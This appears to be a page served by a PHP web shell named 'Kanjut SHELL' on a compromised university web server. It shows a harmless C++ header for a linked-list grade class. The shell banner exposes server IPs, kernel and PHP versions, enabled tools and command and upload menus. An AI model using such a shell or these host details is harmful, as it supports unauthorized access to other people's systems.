Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.152.26
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/rnlink/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/rnlink/gradelnklist.h
//
// File: gradelnklist.h.  Class and Type definitions for dynamic memory
// allocation implementation of a list of grades.  Each node in the list 
// contains a grade and the occurrence count for that grade.
// The grades are stored in ascending order.
// 


struct NodeType {
	int grade;        // grade itself
	int count;        // number of occurrences of grade
	NodeType* next;
};

class GradeList {
public:

// List constructor and destructor
	GradeList();
	~GradeList();

// Methods that test for certain conditions
	bool IsEmpty();
	bool IsFull();

// Methods that work with grades
	void Display();
	void InsertGrade(int newgrade);
	void DeleteGrade(int delgrade);
	float CalculateAvg();
	void DropLowestGrade();
	int HowManyofGrade(int grade);

private:
	NodeType* head;  // pointer to head node
};


Stv3n404 - 2023